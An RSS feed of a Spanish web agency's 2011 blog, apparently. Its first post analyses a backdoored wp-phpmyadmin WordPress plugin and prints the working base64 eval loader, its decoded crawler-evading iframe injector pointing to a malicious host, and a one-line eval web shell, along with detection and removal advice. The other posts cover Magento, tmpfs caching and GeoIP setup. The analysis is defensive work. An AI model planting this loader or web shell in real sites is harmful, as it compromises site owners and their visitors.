<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>onestic &#187; Blog</title>
	<atom:link href="http://onestic.com/category/blog/feed/" rel="self" type="application/rss+xml" />
	<link>http://onestic.com</link>
	<description>blog de onestic</description>
	<lastBuildDate>Thu, 02 Feb 2012 09:40:42 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.5</generator>
		<item>
		<title>Puerta trasera en el plugin de wp-phpmyadmin</title>
		<link>http://onestic.com/puerta-trasera-en-el-plugin-de-wp-phpmyadmin/</link>
		<comments>http://onestic.com/puerta-trasera-en-el-plugin-de-wp-phpmyadmin/#comments</comments>
		<pubDate>Mon, 22 Aug 2011 10:22:23 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://onestic.com/?p=1061</guid>
		<description><![CDATA[En los últimos meses hemos sido testigos de un ataque similar sobre algunos blogs a los que tenemos acceso. WordPress hackeado, con un iframe al comienzo de las páginas y que los buscadores no detectaban como página peligrosa. Sólo algunos antivirus de los usuarios se daban cuenta del ataque. Y el culpable (o donde residía [...]]]></description>
			<content:encoded><![CDATA[En los últimos meses hemos sido testigos de un <strong>ataque </strong>similar sobre  algunos blogs a los que tenemos acceso. <strong>WordPress hackeado</strong>, con un  <strong>iframe al comienzo de las páginas</strong> y que los buscadores no detectaban  como página peligrosa. Sólo algunos antivirus de los usuarios se daban  cuenta del ataque. Y el culpable (o donde residía la backdoor) era el plugin de wp-phpmyadmin.<br/><br/>

El plugin de <strong>wp-phpmyadmin</strong> tiene una utilidad importante cuando no tienes acceso de otro modo a la base de datos de tu instalación de WordPress. Pero el precio que se puede pagar por usarlo, después de haber comprobado la <strong>vulnerabilidad</strong> que trae consigo, es bastante alto.<br/><br/>

El plugin no se actualiza desde el 2007 (con wp 1.5), no se puede encontrar en el repositorio oficial de plugins de WordPress (<a href="http://wordpress.org/extend/plugins/" target="_blank">http://wordpress.org/extend/plugins/</a>), y lo más importante: se había conseguido introducir un fichero dentre el resto de ficheros del plugin que abría una puerta trasera a nuestro sistema.<br/><br/>

Pero vamos por partes y a explicar cómo funciona este <strong>hack de WordPress</strong> con detalle:<br/><br/>

El ataque consistía en introducir en los ficheros index.php una línea justo detrás del primer &lt;?php . Aquí tenemos un ejemplo:<br/><br/>

<pre class="brush: php; title: ;">
&lt;?php eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1c2VyX2FnZW50X3RvX2ZpbHRlciA9IGFycmF5KCdib3QnLCdzcGlkZXInLCdzcHlkZXInLCdjcmF3bCcsJ3ZhbGlkYXRvcicsJ3NsdXJwJywnZG9jb21vJywneWFuZGV4JywnbWFpbC5ydScsJ2FsZXhhLmNvbScsJ3Bvc3RyYW5rLmNvbScsJ2h0bWxkb2MnLCd3ZWJjb2xsYWdlJywnYmxvZ3B1bHNlLmNvbScsJ2Fub255bW91c2Uub3JnJywnMTIzNDUnLCdodHRwY2xpZW50JywnYnV6enRyYWNrZXIuY29tJywnc25vb3B5JywnZmVlZHRvb2xzJywnYXJpYW5uYS5saWJlcm8uaXQnLCdpbnRlcm5ldHNlZXIuY29tJywnb3BlbmFjb29uLmRlJywncnJycnJycnJyJywnbWFnZW50JywnZG93bmxvYWQgbWFzdGVyJywnZHJ1cGFsLm9yZycsJ3ZsYyBtZWRpYSBwbGF5ZXInLCd2dnJraW1zanV3bHkgbDN1Zm1qcngnLCdzem4taW1hZ2UtcmVzaXplcicsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ3dvcmRwcmVzcycsJ3Jzc3JlYWRlcicsJ215YmxvZ2xvZyBhcGknKTsNCiRzdG9wX2lwc19tYXNrcyA9IGFycmF5KA0KCWFycmF5KCIyMTYuMjM5LjMyLjAiLCIyMTYuMjM5LjYzLjI1NSIpLA0KCWFycmF5KCI2NC42OC44MC4wIiAgLCI2NC42OC44Ny4yNTUiICApLA0KCWFycmF5KCI2Ni4xMDIuMC4wIiwgICI2Ni4xMDIuMTUuMjU1IiksDQoJYXJyYXkoIjY0LjIzMy4xNjAuMCIsIjY0LjIzMy4xOTEuMjU1IiksDQoJYXJyYXkoIjY2LjI0OS42NC4wIiwgIjY2LjI0OS45NS4yNTUiKSwNCglhcnJheSgiNzIuMTQuMTkyLjAiLCAiNzIuMTQuMjU1LjI1NSIpLA0KCWFycmF5KCIyMDkuODUuMTI4LjAiLCIyMDkuODUuMjU1LjI1NSIpLA0KCWFycmF5KCIxOTguMTA4LjEwMC4xOTIiLCIxOTguMTA4LjEwMC4yMDciKSwNCglhcnJheSgiMTczLjE5NC4wLjAiLCIxNzMuMTk0LjI1NS4yNTUiKSwNCglhcnJheSgiMjE2LjMzLjIyOS4xNDQiLCIyMTYuMzMuMjI5LjE1MSIpLA0KCWFycmF5KCIyMTYuMzMuMjI5LjE2MCIsIjIxNi4zMy4yMjkuMTY3IiksDQoJYXJyYXkoIjIwOS4xODUuMTA4LjEyOCIsIjIwOS4xODUuMTA4LjI1NSIpLA0KCWFycmF5KCIyMTYuMTA5Ljc1LjgwIiwiMjE2LjEwOS43NS45NSIpLA0KCWFycmF5KCI2NC42OC44OC4wIiwiNjQuNjguOTUuMjU1IiksDQoJYXJyYXkoIjY0LjY4LjY0LjY0IiwiNjQuNjguNjQuMTI3IiksDQoJYXJyYXkoIjY0LjQxLjIyMS4xOTIiLCI2NC40MS4yMjEuMjA3IiksDQoJYXJyYXkoIjc0LjEyNS4wLjAiLCI3NC4xMjUuMjU1LjI1NSIpLA0KCWFycmF5KCI2NS41Mi4wLjAiLCI2NS41NS4yNTUuMjU1IiksDQoJYXJyYXkoIjc0LjYuMC4wIiwiNzQuNi4yNTUuMjU1IiksDQoJYXJyYXkoIjY3LjE5NS4wLjAiLCI2Ny4xOTUuMjU1LjI1NSIpLA0KCWFycmF5KCI3Mi4zMC4wLjAiLCI3Mi4zMC4yNTUuMjU1IiksDQoJYXJyYXkoIjM4LjAuMC4wIiwiMzguMjU1LjI1NS4yNTUiKQ0KCSk7DQokbXlfaXAybG9uZyA9IHNwcmludGYoIiV1IixpcDJsb25nKCRfU0VSVkVSWydSRU1PVEVfQUREUiddKSk7DQpmb3JlYWNoICggJHN0b3BfaXBzX21hc2tzIGFzICRJUHMgKSB7DQoJJGZpcnN0X2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1swXSkpOyAkc2Vjb25kX2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1sxXSkpOw0KCWlmICgkbXlfaXAybG9uZyA+PSAkZmlyc3RfZCAmJiAkbXlfaXAybG9uZyA8PSAkc2Vjb25kX2QpIHskYm90ID0gVFJVRTsgYnJlYWs7fQ0KfQ0KZm9yZWFjaCAoJHVzZXJfYWdlbnRfdG9fZmlsdGVyIGFzICRib3Rfc2lnbil7DQoJaWYgIChzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCAkYm90X3NpZ24pICE9PSBmYWxzZSl7JGJvdCA9IHRydWU7IGJyZWFrO30NCn0NCmlmICghJGJvdCkgew0KZWNobyAnPGlmcmFtZSBzcmM9Imh0dHA6Ly8yZ3V2a2w1NW9mLmNvLnR2Lz9nbz0xIiB3aWR0aD0iMSIgaGVpZ2h0PSIxIj48L2lmcmFtZT4nOw0KfQ==');
</pre>

Este código codificado, daba el siguiente fragmento de php tras decodificarlo, fragmento que acababa pintando un <strong>iframe antes de la etiqueta &lt;?html&gt;?</strong> en los blog al pasarlo por la función eval():<br/><br/>

<pre class="brush: php; title: ;">
error_reporting(0);
$bot = FALSE ;
$user_agent_to_filter = array('bot','spider','spyder','crawl','validator','slurp','docomo','yandex','mail.ru','alexa.com','postrank.com','htmldoc','webcollage','blogpulse.com','anonymouse.org','12345','httpclient','buzztracker.com','snoopy','feedtools','arianna.libero.it','internetseer.com','openacoon.de','rrrrrrrrr','magent','download master','drupal.org','vlc media player','vvrkimsjuwly l3ufmjrx','szn-image-resizer','bdbrandprotect.com','wordpress','rssreader','mybloglog api');
$stop_ips_masks = array(
 array(&quot;216.239.32.0&quot;,&quot;216.239.63.255&quot;),
 array(&quot;64.68.80.0&quot;  ,&quot;64.68.87.255&quot;  ),
 array(&quot;66.102.0.0&quot;,  &quot;66.102.15.255&quot;),
 array(&quot;64.233.160.0&quot;,&quot;64.233.191.255&quot;),
 array(&quot;66.249.64.0&quot;, &quot;66.249.95.255&quot;),
 array(&quot;72.14.192.0&quot;, &quot;72.14.255.255&quot;),
 array(&quot;209.85.128.0&quot;,&quot;209.85.255.255&quot;),
 array(&quot;198.108.100.192&quot;,&quot;198.108.100.207&quot;),
 array(&quot;173.194.0.0&quot;,&quot;173.194.255.255&quot;),
 array(&quot;216.33.229.144&quot;,&quot;216.33.229.151&quot;),
 array(&quot;216.33.229.160&quot;,&quot;216.33.229.167&quot;),
 array(&quot;209.185.108.128&quot;,&quot;209.185.108.255&quot;),
 array(&quot;216.109.75.80&quot;,&quot;216.109.75.95&quot;),
 array(&quot;64.68.88.0&quot;,&quot;64.68.95.255&quot;),
 array(&quot;64.68.64.64&quot;,&quot;64.68.64.127&quot;),
 array(&quot;64.41.221.192&quot;,&quot;64.41.221.207&quot;),
 array(&quot;74.125.0.0&quot;,&quot;74.125.255.255&quot;),
 array(&quot;65.52.0.0&quot;,&quot;65.55.255.255&quot;),
 array(&quot;74.6.0.0&quot;,&quot;74.6.255.255&quot;),
 array(&quot;67.195.0.0&quot;,&quot;67.195.255.255&quot;),
 array(&quot;72.30.0.0&quot;,&quot;72.30.255.255&quot;),
 array(&quot;38.0.0.0&quot;,&quot;38.255.255.255&quot;)
 );
$my_ip2long = sprintf(&quot;%u&quot;,ip2long($_SERVER['REMOTE_ADDR']));
foreach ( $stop_ips_masks as $IPs ) {
 $first_d=sprintf(&quot;%u&quot;,ip2long($IPs[0])); $second_d=sprintf(&quot;%u&quot;,ip2long($IPs[1]));
 if ($my_ip2long &gt;= $first_d &amp;&amp; $my_ip2long &lt;= $second_d) {$bot = TRUE; break;}
}
foreach ($user_agent_to_filter as $bot_sign){
 if  (strpos($_SERVER['HTTP_USER_AGENT'], $bot_sign) !== false){$bot = true; break;}
}
if (!$bot) {
echo '&lt;iframe src=&quot;http://2guvkl55of.co.tv/?go=1&quot; width=&quot;1&quot; height=&quot;1&quot;&gt;&lt;/iframe&gt;';
}
</pre>

Este iframe se intentaba ocultar a los robots de los buscadores y de rastreadores importantes para evitar que saltasen las alarmas de estos, y pusiesen en aviso al dueño del blog mediante alarmas al correo electrónico, bloqueos de su página desde la página de resultados de búsqueda, etc. Así podía permanecer el mayor tiempo posible estando oculto.<br/><br/>

El contenido del iframe cargaba una direccion de un servidor (todos los distintos dominios que hemos podido comprobar estaban en Rumanía), donde se podía pintar cualquier cosa, seguramente<strong> troyanos javascript</strong> que comprometiesen la seguridad del usuario que visitase la web.<br/><br/>

<br/><br/><h3>Cómo saber si tengo esta puerta trasera en mi sistema, y como solucionarlo (detección, solución y prevención):</h3><br/>

- Comprobar si tenemos el plugin de <strong>wp-phpmyadmin</strong>, y buscar el fichero <strong>phpmyadmin/upgrade.php</strong> dentro del mismo. Renombrar la extensión o eliminar este fichero, sobre todo si tiene dentro unas instrucciones parecida a estas:<br/><br/>

<pre class="brush: php; title: ;">
&lt;?php if(isset($_REQUEST[&quot;asc&quot;]))eval(stripslashes($_REQUEST[&quot;asc&quot;])); ?&gt;
</pre>

- Buscar en el resto de ficheros de wp-content la cadena &#8216;<strong>eval(stripslashes</strong>&#8216; (por ejemplo), y comprobar en los resultados si alguno se parece a la línea anterior.<br/><br/>

- Mantener una<strong> política estricta de permisos</strong> sobre los ficheros de la instalación de WordPress. Si los ficheros index.php hubiesen estado correctamente configurados en cuanto a permisos, tal y como aconsejan en <a href="http://codex.wordpress.org/Hardening_WordPress" target="_blank">http://codex.wordpress.org/Hardening_WordPress</a> la infección se hubiese podido evitar.<br/><br/>

- Por supuesto, mantener nuestros <strong>plugins actualizados</strong>, junto con la <strong>última versión de WordPress siempre instalada</strong>. Y si alguno de los plugins deja de tener soporte o no se continúa su desarrollo, mejor optar por descartarlo y comenzar a buscar un sustituto del mismo.<br/><br/>

Más info:<br/><br/>

<a href="http://blog.sucuri.net/2011/06/wp-phpmyadmin-wordpress-plugin-delete-it-now.html" target="_blank">http://blog.sucuri.net/2011/06/wp-phpmyadmin-wordpress-plugin-delete-it-now.html</a><br/><br/>

<a href="http://www.wpsecuritylock.com/wp-phpmyadmin-plugin-hacked-backdoor-vulnerability/" target="_blank">http://www.wpsecuritylock.com/wp-phpmyadmin-plugin-hacked-backdoor-vulnerability/</a><br/><br/>

Especial cuidado también con los plugins wptouch, addthis y w3-total-cache:<br/><br/>
<a href="http://wpmu.org/wordpress-security-exploit-found-upgrade-wptouch-addthis-and-w3-total-cache/" target="_blank">http://wpmu.org/wordpress-security-exploit-found-upgrade-wptouch-addthis-and-w3-total-cache/</a><br/><br/>]]></content:encoded>
			<wfw:commentRss>http://onestic.com/puerta-trasera-en-el-plugin-de-wp-phpmyadmin/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Magento, PayPal, IPN, las contrabarras (backslashes) y respuesta INVALID</title>
		<link>http://onestic.com/magento-paypal-ipn-las-contrabarras-backslashes-y-respuesta-invalid/</link>
		<comments>http://onestic.com/magento-paypal-ipn-las-contrabarras-backslashes-y-respuesta-invalid/#comments</comments>
		<pubDate>Thu, 07 Apr 2011 16:02:45 +0000</pubDate>
		<dc:creator>Manel R. Doménech</dc:creator>
				<category><![CDATA[Magento]]></category>
		<category><![CDATA[Invalid]]></category>
		<category><![CDATA[IPN]]></category>
		<category><![CDATA[magento]]></category>
		<category><![CDATA[paypal]]></category>

		<guid isPermaLink="false">http://onestic.com/?p=1051</guid>
		<description><![CDATA[Existe un pequeño problema en Magento con la validación de la respuesta IPN de PayPal. Ocurre incluso con el código de ejemplo para PHP4 del propio PayPal. Más que un problema se trata de una condición de error no contemplada. Esta condición ocurre cuando en algún campo del formulario de pago aparece el carcater contrabarra [...]]]></description>
			<content:encoded><![CDATA[<p>Existe un pequeño problema en Magento con la validación de la respuesta IPN de PayPal. Ocurre incluso con el código de ejemplo para PHP4 del propio PayPal. Más que un problema se trata de una condición de error no contemplada. Esta condición ocurre cuando en algún campo del formulario de pago aparece el carcater contrabarra o backslash (\) y la opción de PHP magic_quotes_gpc está desactivada. Esta opción está marcada como obsoleta desde PHP 5.3 y suele encontrarse desactivada en la mayoría de las distribuciones actuales.</p>

<p>El problema está en utilizar la función stripslashes sobre el valor de los campos del formulario de pago que PayPal devuelve mediante el método POST. Si magic_quotes_gpc no está activada y se aplica stripslashes sobre los valores cualquier contrabarra desaparecerá o, más bien, se convertirá en un escapado del siguiente caracter. Y como al hacer el post back para verificar el pago PayPal espera recibir exactamente los mismos valores que ha enviado previamente, se recibirá un INVALID por resupuesta.</p>

<p>No es un problema grave, pero algunos usuarios de habla hispana abrevian calle como C\ (aunque la norma es hacerlo al revés, C/), y en estos casos el pago se realizará pero fallará su validación.</p>

<p>¿Cómo corregir esto? Bien NO haciendo el stripslashes o bien haciendo previamente un addslashes si magic_quotes_gpc está desactivado.</p>

<p>Para el código de ejemplo de PayPal:</p>

<p>Original:</p>

<pre class="brush: php; title: ;">...
foreach ($_POST as $key =&gt; $value) {
 $value = urlencode(stripslashes($value));
 $req .= &quot;&amp;$key=$value&quot;;
}
...</pre>

<p>Solución 1:</p>

<pre class="brush: php; title: ;">...
foreach ($_POST as $key =&gt; $value) {
 $value = get_magic_quotes_gpc()?stripslashes($value):$value;
 $value = urlencode($value);
 $req .= &quot;&amp;$key=$value&quot;;
}
...</pre>

<p>Solución 2a:</p>

<pre class="brush: php; title: ;">...
foreach ($_POST as $key =&gt; $value) {
 $value = get_magic_quotes_gpc()?$value:addslashes($value);
 $value = urlencode(stripslashes($value));
 $req .= &quot;&amp;$key=$value&quot;;
}
...</pre>

<p>Solución 2b:</p>

<pre class="brush: php; title: ;">...
foreach ($_POST as $key =&gt; $value) $_POST[$key] = get_magic_quotes_gpc()?$value:addslashes($value);

foreach ($_POST as $key =&gt; $value) {
 $value = urlencode(stripslashes($value));
 $req .= &quot;&amp;$key=$value&quot;;
}
...</pre>

<p>Para Magento hay que hacer algo análogo en el código de verificación. En la versión 1.5 puede encontrarse en el fichero</p>

<pre class="brush: plain; title: ;">app/code/local/Onestic/PaypalIpnFixSlash/Model/Ipn.php</pre>

<p>, en el método _postBack. en versiones anteriores este código está en</p>

<pre class="brush: plain; title: ;">app/code/core/Mage/Paypal/Model/Standard.php</pre>

<p>, en el método ipnPostSubmit.</p>

<p>Si no se desea tocar el código fuente de Magento, para la versión 1.5 se incluye este pequeño módulo <a href='http://onestic.com/wp-content/uploads/2011/04/Onestic_PaypalIpnFixSlash.tgz'>Onestic_PaypalIpnFixSlash</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://onestic.com/magento-paypal-ipn-las-contrabarras-backslashes-y-respuesta-invalid/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Tienda de Conserva Selección en Magento</title>
		<link>http://onestic.com/tienda-de-conservas-seleccion-en-magento/</link>
		<comments>http://onestic.com/tienda-de-conservas-seleccion-en-magento/#comments</comments>
		<pubDate>Fri, 11 Feb 2011 08:44:41 +0000</pubDate>
		<dc:creator>Sergio Baixauli</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Destacado]]></category>
		<category><![CDATA[Magento]]></category>
		<category><![CDATA[Proyectos]]></category>

		<guid isPermaLink="false">http://onestic.com/?p=1034</guid>
		<description><![CDATA[Una vez más nos demoramos en la publicación de nuestros trabajos. Como asignatura pendiente para este 2011 queda la actualización de la web tanto de su estructura como de su contenido Dicho esto nos gustaría presentaros uno de nuestros últimos trabajos desarrollados en Magento. Se trata de una tienda de Conservas de alta gama cuya [...]]]></description>
			<content:encoded><![CDATA[<p>Una vez más nos demoramos en la publicación de nuestros trabajos. Como asignatura pendiente para este 2011 queda la actualización de la web tanto de su estructura como de su contenido <img src='http://onestic.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Dicho esto nos gustaría presentaros uno de nuestros últimos trabajos <a href="http://onestic.com/servicios/">desarrollados en Magento</a>. Se trata de una tienda de Conservas de alta gama cuya principal característica es como no podía ser de otra forma, la calidad de sus productos.</p>
<p>Aprovecho esta entrada para responder a todos aquellos que nos preguntan sobre la importancia del diseño en las tiendas. Para nosotros es algo muy importante, es algo que nos gusta cuidar, pero más allá de una buena impletanción y de una interfaz de compra intuitiva sin duda alguna el éxito de una tienda radica en dos pilares fundamentales: el producto y la atención al cliente. Ya está, si no lo digo reviento. No olvidemos que una <a href="http://onestic.com/tag/tienda-en-magento/">tienda online</a> exige el mismo esfuerzo que cualquier otro negocio.</p>
<p>Retomando el tema de la nueva <strong>tienda hecha en Magento </strong>cabe destacar la integración del archi conocido módulo de compra en un paso,onestepcheckout (el día menos pensado desarrollaremos nuestra versión de este módulo&#8230;), generación de una página automática para las marcas con las que se trabaja, inserción automática de videos en las fichas de producto (funcionalidad que esperamos un día de estos esté integrada en <strong>Magento</strong>), Slide en jQuery para la portada, utilización del autocompletado que ya viene de serie con las <strong><a href="http://www.magentocommerce.com/download">nuevas versiones de Magento</a></strong>, integración del Blog realizado en <strong>WordPress con Magento</strong> (recordemos que existen varias técnicas, nosotros personalmente preferimos leer el feed y empotrarlo en el footer &#8220;a mano&#8221;).</p>
Por lo demás como siempre un diseño y una estética muy cuidadas.
Esperamos que os gueste! Y como siempre cualquier comentario será bien recibido!]]></content:encoded>
			<wfw:commentRss>http://onestic.com/tienda-de-conservas-seleccion-en-magento/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Mejorar rendimiento en Magento, acelerando sesiones y cache</title>
		<link>http://onestic.com/mejorar-rendimiento-en-magento-acelerar-sesiones-y-cache/</link>
		<comments>http://onestic.com/mejorar-rendimiento-en-magento-acelerar-sesiones-y-cache/#comments</comments>
		<pubDate>Mon, 03 Jan 2011 18:21:22 +0000</pubDate>
		<dc:creator>David Bolufer</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[CentOS]]></category>
		<category><![CDATA[Magento]]></category>
		<category><![CDATA[cache]]></category>
		<category><![CDATA[centos]]></category>
		<category><![CDATA[performance]]></category>

		<guid isPermaLink="false">http://onestic.com/?p=1013</guid>
		<description><![CDATA[Pequeño artículo donde explicamos una pequeña mejora en el rendimiento de Magento, consiste en guardar tanto la cache y las sesiones en un disco en memoría RAM usando el formato de ficheros TMPFS. Esto permite reducir el número de accesos a disco por parte de Magento. Lo primero sería configurar Magento para que guarde las [...]]]></description>
			<content:encoded><![CDATA[Pequeño artículo donde explicamos una pequeña <strong>mejora en el rendimiento de Magento</strong>, consiste en guardar tanto la cache y las sesiones en un disco en memoría RAM usando el formato de ficheros TMPFS. Esto permite reducir el número de accesos a disco por parte de Magento.

Lo primero sería configurar Magento para que guarde las sesiones utilizando archivos. Para ello editamos el archivo <code>app/etc/local.xml</code>.

<pre class="brush: xml; title: ;">&lt;session_save&gt;&lt;![CDATA[files]]&gt;&lt;/session_save&gt;</pre>

<p>A pesar de que en muchos <strong>tutoriales de rendimiento en Magento</strong> recomiendan guardar las sesiones en base de datos, no tiene sentido tener que cargar el servidor con INSERTS y UPDATES cuando se pueden manejar perfectamente usando PHP. Y a esta conclusión hemos llegado tras testear ambas configuraciones en nuestras tiendas y ver como, en aquellas tiendas que tienen algo de tráfico, las queries que gestionan las sesiones siempre están entre el top ten de queries lentas.</p>

<p>Vamos a destinar, por ejemplo, 256MB al sistema de caché de ficheros y 48MB para las sesiones. Si suponemos que nuestra tienda está en /var/www/tienda/, tendremos que montar las unidades en /var/www/tienda/var/cache/ y en /var/www/tienda/var/session/ para ello lo mejor es directamente editar el archivo /etc/fstab y añadir las siguientes líneas. Fstab es el archivo dónde se indica donde y cómo montar las particiones en el arranque del sistema.</p>

<pre class="brush: plain; title: ;">
tmpfs on /var/www/tienda/var/cache type tmpfs (rw,size=256,mode=0777)
tmpfs on /var/www/tienda/var/session type tmpfs (rw,size=48,mode=0777)
</pre>

Ahora basta con recargar las particiones montadas usando
<pre class="brush: plain; title: ;">
sudo mount -a
</pre>]]></content:encoded>
			<wfw:commentRss>http://onestic.com/mejorar-rendimiento-en-magento-acelerar-sesiones-y-cache/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Instalar MaxMind GeoIP en CentOS</title>
		<link>http://onestic.com/instalar-maxmind-geoip-en-centos/</link>
		<comments>http://onestic.com/instalar-maxmind-geoip-en-centos/#comments</comments>
		<pubDate>Mon, 03 Jan 2011 11:59:54 +0000</pubDate>
		<dc:creator>David Bolufer</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[CentOS]]></category>
		<category><![CDATA[Opinión]]></category>
		<category><![CDATA[comandos]]></category>
		<category><![CDATA[geoip]]></category>
		<category><![CDATA[how to]]></category>

		<guid isPermaLink="false">http://onestic.com/?p=991</guid>
		<description><![CDATA[Vamos a redactar un pequeño manual de como instalar el geolocalizador de IP de MaxMind, hay varias forma de tener acceso desde PHP a estos datos, nosotros vamos a realizar la instalación con mayor rendimiento que es como módulo de Apache: yum list GeoIP* Deberías ver algo así: Finished Available Packages GeoIP.x86_64 1.4.7-0.1.20090931cvs.el5 epel GeoIP-data.x86_64 [...]]]></description>
			<content:encoded><![CDATA[Vamos a redactar un pequeño manual de como instalar el geolocalizador de IP de MaxMind, hay varias forma de tener acceso desde PHP a estos datos, nosotros vamos a realizar la instalación con <a href="http://www.maxmind.com/app/benchmark">mayor rendimiento</a> que es como módulo de Apache:

<pre class="brush: plain; title: ;">yum list GeoIP*</pre>

Deberías ver algo así:

<pre class="brush: plain; title: ;">
Finished
Available Packages
GeoIP.x86_64                1.4.7-0.1.20090931cvs.el5                  epel
GeoIP-data.x86_64         20090201-1.el5.centos                       extras
GeoIP-devel.x86_64        1.4.7-0.1.20090931cvs.el5                  epel
</pre>

Procedemos a instalar todos los paquete, de ellos, GeoIP-data es el archivo que geolocaliza direcciones IP.

<pre class="brush: plain; title: ;">yum install GeoIP*
...
...
...
Running rpm_check_debug
Running Transaction Test
Finished Transaction Test
Transaction Test Succeeded
Running Transaction
 Installing     : GeoIP                                                                           1/3
 Installing     : GeoIP-devel                                                                     2/3
 Installing     : GeoIP-data                                                                      3/3

Installed:
 GeoIP.x86_64 0:1.4.7-0.1.20090931cvs.el5             GeoIP-data.x86_64 0:20090201-1.el5.centos
 GeoIP-devel.x86_64 0:1.4.7-0.1.20090931cvs.el5
</pre>


Una vez instalados los módulos, procedemos a instalar el módulo para Apache 2.X, para ello necesitaremos tener instalado el comando apxs, parte del paquete httpd-devel, si no lo tenemos instalado basta con instalarlo desde yum.
<pre class="brush: plain; title: ;">
cd /tmp
wget http://geolite.maxmind.com/download/geoip/api/mod_geoip2/mod_geoip2_1.2.5.tar.gz
tar -xvzf mod_geoip2_1.2.5.tar.gz
apxs -i -a -L/usr/lib -I/usr/include -lGeoIP -c mod_geoip.c
</pre>

El último comando nos compila el módulo para nuestra versión de Apache, comprobar donde lo ha copiado pues nos hará falta en el siguiente paso para activar el módulo en Apache, en nuestro caso lo deposita en /usr/lib64/httpd/modules/mod_geoip.so.

Editamos la configuración de Apache para añadir el módulo mod_geoip y activar la geolocalización.
<pre class="brush: plain; title: ;">
LoadModule geoip_module /usr/lib64/httpd/modules/mod_geoip.so
...
...
&lt;IfModule mod_geoip.c&gt;
  GeoIPEnable On
#Ruta hacia la base de datos con las IP's geolocalizadas
  GeoIPDBFile /var/lib/GeoIP/GeoIP.dat
&lt;/IfModule&gt;
</pre>

Listo, tenemos instalado el soporte de GEO IP, este es un ejemplo para poder obtener en PHP.
<pre class="brush: php; title: ;">
&lt;?php
$country_code = apache_note(&quot;GEOIP_COUNTRY_CODE&quot;);
$country_code3 = apache_note(&quot;GEOIP_COUNTRY_CODE3&quot;);
$country_name = apache_note(&quot;GEOIP_COUNTRY_NAME&quot;);
$geoip_city_name = apache_note(&quot;GEOIP_CITY_NAME&quot;);
$geoip_city_postal_code = apache_note(&quot;GEOIP_CITY_POSTAL_CODE&quot;);
$geoip_city_latitude = apache_note(&quot;GEOIP_CITY_LATITUDE&quot;);
$geoip_city_long_latitude = apache_note(&quot;GEOIP_CITY_LONG_LATITUDE&quot;);
$geoip_city_dma_code = apache_note(&quot;GEOIP_CITY_DMA_CODE&quot;);
$geoip_city_postal_code = apache_note(&quot;GEOIP_CITY_POSTAL_CODE&quot;);
$geoip_city_area_code = apache_note(&quot;GEOIP_CITY_AREA_CODE&quot;);


echo &quot;
IP: {$_SERVER['REMOTE_ADDR']} &lt;/br&gt;
GEOIP_COUNTRY_CODE: &lt;strong&gt;$country_code&lt;/strong&gt; &lt;/br&gt;
GEOIP_COUNTRY_CODE3: &lt;strong&gt;$country_code3&lt;/strong&gt; &lt;/br&gt;
GEOIP_COUNTRY_NAME: &lt;strong&gt;$country_name&lt;/strong&gt; &lt;/br&gt;
GEOIP_CITY_NAME: &lt;strong&gt;$geoip_city_name&lt;/strong&gt; &lt;/br&gt;
GEOIP_CITY_POSTAL_CODE: &lt;strong&gt;$geoip_city_postal_code&lt;/strong&gt; &lt;/br&gt;
GEOIP_CITY_LATITUDE: &lt;strong&gt;$geoip_city_latitude&lt;/strong&gt; &lt;/br&gt;
GEOIP_CITY_LONG_LATITUDE: &lt;strong&gt;$geoip_city_long_latitude&lt;/strong&gt; &lt;/br&gt;
GEOIP_CITY_DMA_CODE: &lt;strong&gt;$geoip_city_dma_code&lt;/strong&gt; &lt;/br&gt;
GEOIP_CITY_POSTAL_CODE: &lt;strong&gt;$geoip_city_postal_code&lt;/strong&gt; &lt;/br&gt;
GEOIP_CITY_AREA_CODE: &lt;strong&gt;$geoip_city_area_code&lt;/strong&gt; &lt;/br&gt;
&quot;;
</pre>
]]></content:encoded>
			<wfw:commentRss>http://onestic.com/instalar-maxmind-geoip-en-centos/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Resumen de la Wordcamp Spain 2010</title>
		<link>http://onestic.com/resumen-de-la-wordcamp-spain-2010/</link>
		<comments>http://onestic.com/resumen-de-la-wordcamp-spain-2010/#comments</comments>
		<pubDate>Mon, 13 Dec 2010 10:19:00 +0000</pubDate>
		<dc:creator>Sergio Nieto</dc:creator>
				<category><![CDATA[Onestic]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[Automattic]]></category>
		<category><![CDATA[Wordcamp Spain]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://onestic.com/?p=954</guid>
		<description><![CDATA[La verdad es que como primera conclusión podemos decir que para nosotros, en la Wordcamp Spain 2010 se ha conseguido aumentar el nivel general del evento respecto al año pasado. Gracias a que hemos podido disfrutar de más gente de Automattic, como José Fontainhas que es ya un clásico, Karim Osman, Isaac Keyet (cofundador de [...]]]></description>
			<content:encoded><![CDATA[
